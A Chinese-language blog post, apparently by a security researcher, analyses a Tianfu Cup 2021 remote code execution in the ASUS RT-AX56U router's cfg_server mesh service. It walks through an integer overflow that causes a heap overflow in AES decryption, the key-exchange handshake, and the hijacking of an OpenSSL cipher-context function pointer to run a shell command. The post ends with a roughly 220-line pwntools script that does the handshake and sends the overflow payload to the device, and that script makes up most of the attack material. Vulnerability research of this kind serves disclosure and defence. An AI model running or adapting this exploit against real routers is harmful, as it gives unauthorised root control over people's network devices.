Tianfu Cup 2021 RT-AX56U RCE

Catalpa 网络安全爱好者

2021 年天府杯目标之一是 ASUS RT-AX56U V2,比赛要求选手从 LAN 侧未授权获取设备 root shell,在比赛开始前 ASUS 官方发布了数个补丁来修复漏洞,但依然有两队选手成功破解了此设备,本文将对其中涉及的相关漏洞进行分析。

firmware

固件可从 ASUS 官方网站 下载,我们以 RT-AX56U V1 设备的 3.0.0.4.386.42808 为例进行分析。

下载固件后 binwalk 可直接解包,得到一个标准的 Linux 文件系统,从 /usr/sbin 目录下找到关键文件 cfg_server

环境准备

为了方便分析,首先要打开设备的 ssh 服务,导航到设备后台 -> 系统管理 -> 系统设置 -> 启用 SSH,来开启 ssh 服务。

通过管理员账户连接 ssh,在 /tmp/test 目录下准备一个 gdbserver(链接:https://pan.baidu.com/s/1Z_1EBswZWWIX-AU6joIh_Q 提取码:4ypa), 可利用设备的 wget 命令从外部服务器下载到本地。

漏洞分析

cfg_server 二进制程序同时监听 tcp 与 udp 的 7788 端口,它实现了 WiFI Mesh 的相关功能。

基本数据处理流程

用 IDA 逆向分析此程序,通过 recv 函数交叉引用,可以找到名为 cm_tcpPacketHandler 的函数,读取数据部分:

1
2
3
4
5
6
7
8
9
while ( 1 )
{
memset(v21, 0, 0x4000u);
v10 = read_tcp_message(v2, v21, 0x4000u);
if ( v10 <= 0 )
break;
if ( cm_packetProcess(v2, v21, v10, v19, v20, &cm_ctrlBlock, v18) == 1 )
goto LABEL_21;
}

这里调用 read_tcp_message 函数读取外部输入,然后调用 cm_packetProcess 函数处理数据。

cm_packetProcess 逻辑较多,简单来讲,此函数希望收到符合 TLV 格式的数据,所谓 TLV 即 标识域(Tag)+ 长度域(Length)+ 值域(Value),cfg_server 对数据格式定义比较简单:

1
2
3
4
5
6
7
8
9
10
11
0        8        16      24       32  (bit)
+--------+--------+--------+--------+
| opcode |
+--------+--------+--------+--------+
| data_len |
+--------+--------+--------+--------+
| data_crc |
+--------+--------+--------+--------+
| data |
| ... |
+--------+--------+--------+--------+

程序会根据 opcode 来调用不同的 handler 函数,TCP 和 UDP 端口分别对应一些 handler。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
TCP
1 cm_processREQ_KU
3 cm_processREQ_NC
5 cm_processREP_OK
8 cm_processREQ_CHK
0xA cm_processACK_CHK
0xF cm_processREQ_JOIN
0x12 cm_processREQ_RPT
0x14 cm_processREQ_GKEY
0x17 cm_processREQ_GREKEY
0x19 cm_processREQ_WEVENT
0x1B cm_processREQ_STALIST
0x1D cm_processREQ_FWSTAT
0x22 cm_processREQ_COST
0x24 cm_processREQ_CLIENTLIST
0x26 cm_processREQ_ONBOARDING
0x28 cm_processREQ_GROUPID
0x2A cm_processACK_GROUPID
0x2B cm_processREQ_SREKEY
0x2D cm_processREQ_TOPOLOGY
0x2F cm_processREQ_RADARDET
0x31 cm_processREQ_RELIST
0x33 cm_processREQ_APLIST
0x37 cm_processREQ_CHANGED_CONFIG
0x39 cm_processREQ_LEVEL
UDP
1 cm_processREQ_STAMON
2 cm_processRSP_STAMON
3 cm_processREQ_ACL
4 cm_processREQ_STAFILTER
7 cm_processREQ_EXAPCHECK

处理数据时,先获取 opcode 字段,根据 opcode 调用不同的函数,将 data_len、data_crc、data 作为第 4、5、7 个参数传入。

整数溢出 -> 堆溢出

相同的漏洞点位多个函数中,以其中之一为例。当 opcode = 0x2a 时,程序调用 cm_processACK_GROUPID 函数,代码片段 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//...
if ( v10 )
{
v13 = bswap32(data_len);
if ( v13 )
{
if ( crc32(0, data, v13) == bswap32(data_crc) )
{
v18 = nvram_get_1("cfg_dbg");
if ( !strcmp(v18, "1") )
cprintf("[%s(%d)]:OK\n", "cm_processACK_GROUPID", 8279);
v19 = nvram_get_1("cfg_syslog");
if ( !strcmp(v19, "1") )
asusdebuglog(6, "cfg_mnt.log", 0, 1, 0, "[%s(%d)]:OK\n", "cm_processACK_GROUPID", 8279);
v20 = cm_aesDecryptMsg(v10, v10, data, v13);
}
}
}
//...

第 4 行转换 data_len 字节序,第 7 行调用 crc32 函数计算 data 部分的 CRC 值,要求得到的值和 data_crc 相同。第 16 行调用 cm_aesDecryptMsg 函数尝试解密数据。

代码片段2

1
2
3
//...
v10 = aes_decrypt(a1, data, data_len, v19);
//...

cm_aesDecryptMsg 函数会调用 aes_decrypt 函数。

代码片段3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
v17[0] = 0;
CTX = EVP_CIPHER_CTX_new();
if ( !CTX )
{
printf("%s(%d):Failed to EVP_CIPHER_CTX_new() !!\n", "aes_decrypt", 768);
return 0;
}
v9 = EVP_aes_256_ecb();
v10 = EVP_DecryptInit_ex(CTX, v9, 0, key, 0);
if ( v10 )
{
*a4 = 0;
v11 = EVP_CIPHER_CTX_block_size(CTX) + data_len;
v12 = malloc(v11);
v10 = v12;
if ( v12 )
{
memset(v12, 0, v11);
v13 = v10;
for ( i = data_len; ; i -= 16 )
{
v15 = data + data_len - i;
if ( i <= 0x10 )
break;
if ( !EVP_DecryptUpdate(CTX, v13, v17, v15, 16) )
{
printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n", "aes_decrypt", 795);
EVP_CIPHER_CTX_free(CTX);
free(v10);
return 0;
}
v13 += v17[0];
*a4 += v17[0];
}
}
}

此函数使用 openssl 库中的 aes256 部分,前几行初始化 EVP_CIPHER_CTX 结构体,第 13 行将 data_len 和 EVP_CIPHER_CTX_block_size(CTX) 值相加,调试可知这里的 EVP_CIPHER_CTX_block_size(CTX) = 0x10。

第 14 行通过相加得到的值分配内存空间,第 25 行调用 EVP_DecryptUpdate 函数开始对数据进行循环解密,循环次数等于 data_len。

问题在于,整个解密流程中,程序没有对 data_len(unsigned int) 变量进行校验,当我们传递一个较大的值,例如 0xffffffff,第 13 行相加操作产生整数溢出,v11 是 unsigned int 类型,整数溢出后它会变成一个较小的值,导致 malloc 分配很小的内存空间。而后续解密数据时循环次数使用了 data_len,将拷贝过多数据到堆内存空间,造成堆溢出。

Mesh 配对流程分析

能够触发堆溢出的途径很多,我们选择其中较为完整的分析,尝试理解 cfg_server 配对流程。

1. 请求公钥

客户端收到配对消息,构造 opcode = 1 的请求,cfg_server 调用 cm_processREQ_KU 函数,此函数直接返回保存在内存中的一个 rsa_publickey。

伪造客户端请求数据:

1
2
3
4
5
6
7
8
9
10
11
0        8        16      24       32  (bit)
+--------+--------+--------+--------+
| opcode = 1 |
+--------+--------+--------+--------+
| data_len = 1 |
+--------+--------+--------+--------+
| data_crc = 0 |
+--------+--------+--------+--------+
| data |
| (\x00) |
+--------+--------+--------+--------+

2. 交换密钥

客户端收到 public key,构造 opcode = 3 的请求,cfg_server 调用 cm_processREQ_NC 函数,此函数实现了简单的密钥交换功能。

伪造客户端请求数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
0        8        16      24       32  (bit)
+--------+--------+--------+--------+
| opcode = 3 |
+--------+--------+--------+--------+
| data_len |
+--------+--------+--------+--------+
| data_crc |
+--------+--------+--------+--------+
| data |------------------
| ... | |
+--------+--------+--------+--------+ |
|
data: |
0 8 16 24 32 (bit) |
+--------+--------+--------+--------+ |
| banner1 = 0x1 | <---------------|
+--------+--------+--------+--------+
| part1_data_len |
+--------+--------+--------+--------+
| part1_data_crc |
+--------+--------+--------+--------+
| part1_data |
| ... |
+--------+--------+--------+--------+
| banner2 = 0x3 |
+--------+--------+--------+--------+
| part2_data_len |
+--------+--------+--------+--------+
| part2_data_crc |
+--------+--------+--------+--------+
| part2_data |
| ... |
+--------+--------+--------+--------+

part1_data 为客户端指定的一个 AES256 密钥,part2_data 为客户端 nonce 值。

客户端将以上数据利用之前请求得到的公钥进行加密,然后发送到服务端,服务端收到请求后进行多个校验,如果全部通过,服务端会构造响应报文

1
2
3
4
5
6
7
8
9
10
11
12
0        8        16      24       32  (bit)
+--------+--------+--------+--------+
| rescode |
+--------+--------+--------+--------+
| res_data_len |
+--------+--------+--------+--------+
| res_data_crc |
+--------+--------+--------+--------+
| res_data |
| (encrypted) |
| ... |
+--------+--------+--------+--------+

返回的数据中 data 部分利用客户端提供的 AES 密钥进行了加密,客户端自行解密后得到数据

1
2
3
4
5
6
7
8
0        8        16      24       32  (bit)
+--------+--------+--------+--------+
| server_nonce |
| len = 0x20 |
+--------+--------+--------+--------+
| client_nonce |
| ... |
+--------+--------+--------+--------+

关键内容是 server_nonce。

3. 握手

客户端收到服务端返回的 server_nonce 后,通过以下算法得到此次会话的 session_key

1
sha256("A22AAC3EB69F9943ED8929D810A077A3" + server_nonce + client_nonce)

之后客户端构造 opcode = 5 的请求,cfg_server 调用 cm_processREP_OK 函数,服务端按照相同的逻辑计算出 session_key。

伪造客户端请求数据:

1
2
3
4
5
6
7
8
9
10
11
0        8        16      24       32  (bit)
+--------+--------+--------+--------+
| opcode = 5 |
+--------+--------+--------+--------+
| data_len = 0 |
+--------+--------+--------+--------+
| data_crc = 0 |
+--------+--------+--------+--------+
| data |
| (\x00) |
+--------+--------+--------+--------+

如果服务端返回 0x6 开头的响应,说明握手成功,服务端把会话的 session_key 放到一个全局变量:clientHashTable 中,后续只要客户端不切断连接,就可以用这个 session_key 调用更多功能。

4. 触发漏洞

客户端构造 opcode = 0xf 的请求,cfg_server 调用 cm_processREQ_JOIN 函数,此函数尝试将具有合法会话的客户端加入 mesh 列表。

部分代码如下

1
2
3
4
//...
session_key = cm_selectSessionKey(v13, 1);
//...
v31 = cm_aesDecryptMsg(session_key, v21, tlv, v20);

这里就回到前面的漏洞分析部分,AES 解密时 len 使用不当,所以我们可以构造如下请求触发漏洞

1
2
3
4
5
6
7
8
9
10
11
0        8        16      24       32  (bit)
+--------+--------+--------+--------+
| opcode = 0xf |
+--------+--------+--------+--------+
| data_len = 0xffffffff |
+--------+--------+--------+--------+
| data_crc = 0 |
+--------+--------+--------+--------+
| payload |
| ('a' * 0x200) |
+--------+--------+--------+--------+

由于 data_len 异常,所以 crc 校验只需传入 data_crc = 0 即可绕过。此外,payload 部分应使用 session_key 进行 AES 加密。

利用分析

此漏洞是堆溢出,按照正常思路应该收集程序中可能的 malloc 和 free 流程,然后通过如 fastbin_attack 等手段完成利用,但经过调试分析发现,当堆块布局满足一定条件时,openssl 初始化的 EVP_CIPHER_CTX 结构体将位于堆溢出内存下方,这就意味着可修改此结构体中的一些成员变量。

这里提供一种思路,查看 openssl 源代码 可以看到 EVP_CIPHER_CTX 的具体定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct evp_cipher_ctx_st {
// cipher contains the underlying cipher for this context.
const EVP_CIPHER *cipher;
// app_data is a pointer to opaque, user data.
void *app_data; // application stuff
// cipher_data points to the |cipher| specific state.
void *cipher_data;
// key_len contains the length of the key, which may differ from
// |cipher->key_len| if the cipher can take a variable key length.
unsigned key_len;
// encrypt is one if encrypting and zero if decrypting.
int encrypt;
// flags contains the OR of zero or more |EVP_CIPH_*| flags, above.
uint32_t flags;
// oiv contains the original IV value.
uint8_t oiv[EVP_MAX_IV_LENGTH];
// iv contains the current IV value, which may have been updated.
uint8_t iv[EVP_MAX_IV_LENGTH];
// buf contains a partial block which is used by, for example, CTR mode to
// store unused keystream bytes.
uint8_t buf[EVP_MAX_BLOCK_LENGTH];
// buf_len contains the number of bytes of a partial block contained in
// |buf|.
int buf_len;
// num contains the number of bytes of |iv| which are valid for modes that
// manage partial blocks themselves.
unsigned num;
// final_used is non-zero if the |final| buffer contains plaintext.
int final_used;
// block_mask contains |cipher->block_size| minus one. (The block size
// assumed to be a power of two.)
int block_mask;
uint8_t final[EVP_MAX_BLOCK_LENGTH]; // possible final block
} /* EVP_CIPHER_CTX */;

第一个成员也是结构体,定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct evp_cipher_st {
// type contains a NID identifing the cipher. (e.g. NID_aes_128_gcm.)
int nid;
// block_size contains the block size, in bytes, of the cipher, or 1 for a
// stream cipher.
unsigned block_size;
// key_len contains the key size, in bytes, for the cipher. If the cipher
// takes a variable key size then this contains the default size.
unsigned key_len;
// iv_len contains the IV size, in bytes, or zero if inapplicable.
unsigned iv_len;
// ctx_size contains the size, in bytes, of the per-key context for this
// cipher.
unsigned ctx_size;
// flags contains the OR of a number of flags. See |EVP_CIPH_*|.
uint32_t flags;
// app_data is a pointer to opaque, user data.
void *app_data;
int (*init)(EVP_CIPHER_CTX *ctx, const uint8_t *key, const uint8_t *iv,
int enc);
int (*cipher)(EVP_CIPHER_CTX *ctx, uint8_t *out, const uint8_t *in,
size_t inl);
// cleanup, if non-NULL, releases memory associated with the context. It is
// called if |EVP_CTRL_INIT| succeeds. Note that |init| may not have been
// called at this point.
void (*cleanup)(EVP_CIPHER_CTX *);
int (*ctrl)(EVP_CIPHER_CTX *, int type, int arg, void *ptr);
};

我们发现此结构体后面几个变量都是函数指针,其中第 8 个成员会在 EVP_CIPHER_CTX_reset 函数中被使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __fastcall EVP_CIPHER_CTX_reset(_DWORD *evp_cipher_st)
{
int (*v2)(void); // r3
int result; // r0

if ( !evp_cipher_st )
return 1;
if ( !*evp_cipher_st )
{
LABEL_7:
CRYPTO_free();
ENGINE_finish(evp_cipher_st[1]);
memset(evp_cipher_st, 0, 0x8Cu);
return 1;
}
v2 = *(int (**)(void))(*evp_cipher_st + 0x1C); // call struct pointer here
if ( !v2 || (result = v2()) != 0 )
{
if ( evp_cipher_st[24] )
{
if ( *(_DWORD *)(*evp_cipher_st + 32) )
OPENSSL_cleanse();
}
goto LABEL_7;
}
return result;
}

如果我们通过堆溢出能够将 EVP_CIPHER_CTX 中第一个成员指针劫持到一可控内存,就能劫持程序的控制流。

样例利用过程

首先完成上述握手流程,在握手流程期间程序会多次调用 malloc、free 等函数,heap 有较大变化,一定情况下将形成以下布局

1
2
3
4
5
+--------+--------+--------+--------+
| user_control_chunk |
+--------+--------+--------+--------+
| EVP_CIPHER_CTX |
+--------+--------+--------+--------+

EVP_CIPHER_CTX 结构体相距用户可控输入距离为 0x30 字节。

初始内存布局:

1
2
3
4
0xb64009f8:	0x00000000	0x00000000	0x00000000	0x00000000
0xb6400a08: 0x00000000 0x0000001d 0xb6400938 0x00000000
0xb6400a18: 0x00000000 0x00000000 0x00000000 0x00000095
0xb6400a28: 0xb6e67b1c 0x00000000 0x00000000 0x00000000

我们构造数据,刚好覆盖掉 EVP_CIPHER_CTX 第一个成员变量,使 0xb6400a28 = 0xb64009f8,0xb6400a14 = system@plt,0xb6400a2c = `reboot`

构造后内存布局:

1
2
3
4
0xb64009f8:	0x00000000	0x00000000	0x00000000	0x00000000
0xb6400a08: 0x00000000 0x00000000 0x00000000 0x000143d4
0xb6400a18: 0x61616161 0x61616161 0x61616161 0x61616161
0xb6400a28: 0xb64009f8 0x62657260 0x60746f6f 0x61616161

在 libcrypto.so.1.1 中的 EVP_CIPHER_CTX_reset 函数下断点,当执行到调用函数指针时程序状态:

此时就能执行我们设置的命令。

样例调试程序

调试脚本(非 EXP)如下,感兴趣的话可以自行调试分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
from pwn import *
from Crypto.PublicKey import RSA as rsa
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Cipher import AES
import base64
import hashlib

crc32_table =[
0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA,
0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3,
0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91,
0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC,
0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5,
0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940,
0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116,
0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F,
0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D,
0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A,
0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818,
0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457,
0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C,
0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB,
0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9,
0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086,
0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4,
0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD,
0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683,
0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE,
0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7,
0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252,
0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60,
0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79,
0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F,
0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04,
0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A,
0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21,
0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E,
0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45,
0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB,
0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0,
0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6,
0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF,
0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D]

def crc32(binaries):
crc = 0
index = 0
while index < len(binaries):
crc = crc32_table[(crc & 0xFF) ^ binaries[index]] ^ (crc//256)
index = index + 1
return crc

context.endian = "big"
context.log_level = "DEBUG"
# ---- udp heap overflow poc ----
# opcode = 1
# unknow2 = 0xffffffff
# unknow3 = 0xffffffff
# padding = b"\x61" * (0x7ff - 12)
# payload = p32(opcode) + p32(unknow2) + p32(unknow3) + padding
# print(len(payload))
# p = remote("192.168.50.1", 7788, typ="udp")
# p.send(payload)
# p.close()
# ---------------------------

p = remote("192.168.50.1", 7788) # connect to server

# ---- cm_processREQ_KU ----
print("[*] Get public key...")
opcode = 0x1
tlv_len = 0x1
tlv_crc = 0x0
tlv = b"\x00"
REQ_NC = p32(opcode) + p32(tlv_len) + p32(tlv_crc) + tlv # request for public key
p.send(REQ_NC)
p.recv(12) # skip header
public_key = p.recv()[:-1].decode()
print(public_key)
f = open("./public.rsa", "w")
f.write(public_key)
f.close()
p.close()
# --------------------------

# ---- cm_processACK_GROUPID ----
p = remote("192.168.50.1", 7788)
def aes_encode(data, key):
aes = AES.new(key, AES.MODE_ECB)
return aes.encrypt(data)

_rop = aes_encode(b"\x61" * 0x10, b"12345678000000000000000000000000")
opcode = 0x2a
payload = p32(opcode) + p32(0x10) + p32(0) + _rop
p.send(payload)
print(p.recv())
p.close()
# -------------------------------

# ---- create tlv data ----
banner1 = 0x1
data1_len = 32 # aes256
aes_key = b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
aes_crc = crc32(aes_key) & 0xffffffff

banner2 = 0x3
data2_len = 0x8
data2 = b"b" * 0x8
data2_crc = crc32(data2) & 0xffffffff
tlv = p32(banner1) + p32(data1_len) + p32(aes_crc) + aes_key + p32(banner2) + p32(data2_len) + p32(data2_crc) + data2
# -------------------------

# ---- rsa encrypt ----
with open('./public.rsa') as f:
key = f.read()
pubobj = rsa.importKey(key)
pubobj = PKCS1_v1_5.new(pubobj)
enc_text = pubobj.encrypt(tlv)
# ---------------------

# ---- create payload data ----
tlv_len = len(enc_text)
tlv_crc = crc32(enc_text)
payload = p32(tlv_len) + p32(tlv_crc) + enc_text
# -----------------------------

# ---- cm_processREQ_NC ----
opcode = 0x3
data = p32(opcode) + payload
p = remote("192.168.50.1", 7788)
p.send(data)
p.recv(12) # skip header
aes_enc_data = p.recv()
# p.close()
# --------------------------

# ---- aes decrypt ----
def aes_decode(data, key):
aes = AES.new(str.encode(key), AES.MODE_ECB)
decrypted_text = aes.decrypt(data)
return decrypted_text

server_nonce_data2 = aes_decode(aes_enc_data, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
server_nonce = server_nonce_data2[12:12 + 32]
custom_data = b"bbbbbbbb"
_hash = hashlib.sha256()
_hash.update(b"A22AAC3EB69F9943ED8929D810A077A3" + server_nonce + custom_data)
session_key = _hash.hexdigest()
print(session_key)
# ---------------------

# ---- cm_processREP_OK ----
opcode = 0x5
payload = p32(opcode) + p32(0) + p32(0) + p32(0)
p.send(payload) # if server return 0x6000000, means success.
res = u32(p.recv(4))
if res != 6:
print("[-] Error: handshake failed.")
exit(0)
print("[+] Handshake successed.")
p.recv()
# --------------------------

# ----cm_processREQ_JOIN ----
# def aes_encode(data, key):
# aes = AES.new(key, AES.MODE_ECB)
# return aes.encrypt(data)

# opcode = 0xf
# _payload = b"a" * 0x100
# _rop = aes_encode(_payload, bytes.fromhex(session_key))
# payload = p32(opcode) + p32(0xffffffff) + p32(0) + _rop
# p.send(payload)
# print(p.recv())
# ---------------------------

# path2
# ---- cm_processACK_GROUPID ----
def aes_encode(data, key):
aes = AES.new(key, AES.MODE_ECB)
return aes.encrypt(data)

_payload = b"\x00" * (0x1c) + b'\xd4\x43\x01\x00' + b"\x61" * (0x30 - 0x20) + b"xxxx" + b"`reboot`aaaa"
_rop = aes_encode(_payload, b"12345678000000000000000000000000")
opcode = 0x2a
payload = p32(opcode) + p32(0xffffffff) + p32(0) + _rop # malloc 0x4
p.send(payload)
print(p.recv())
# -------------------------------

PS:cm_processACK_GROUPID 功能中的 AES 解密密钥从 get_onboarding_key 函数而来,可通过调试获取。

最后

此服务所在程序只能从内网访问,所以危害有限。

利用此漏洞需要一些特殊的内存布局,感兴趣的读者可自行尝试其它更稳定的利用手段。

如文章有误敬请指正,欢迎来信讨论。

  • Title: Tianfu Cup 2021 RT-AX56U RCE
  • Author: Catalpa
  • Created at : 2021-11-02 00:00:00
  • Updated at : 2024-10-17 08:55:36
  • Link: https://wzt.ac.cn/2021/11/02/TFC2021-AX56U/
  • License: This work is licensed under CC BY-NC-SA 4.0.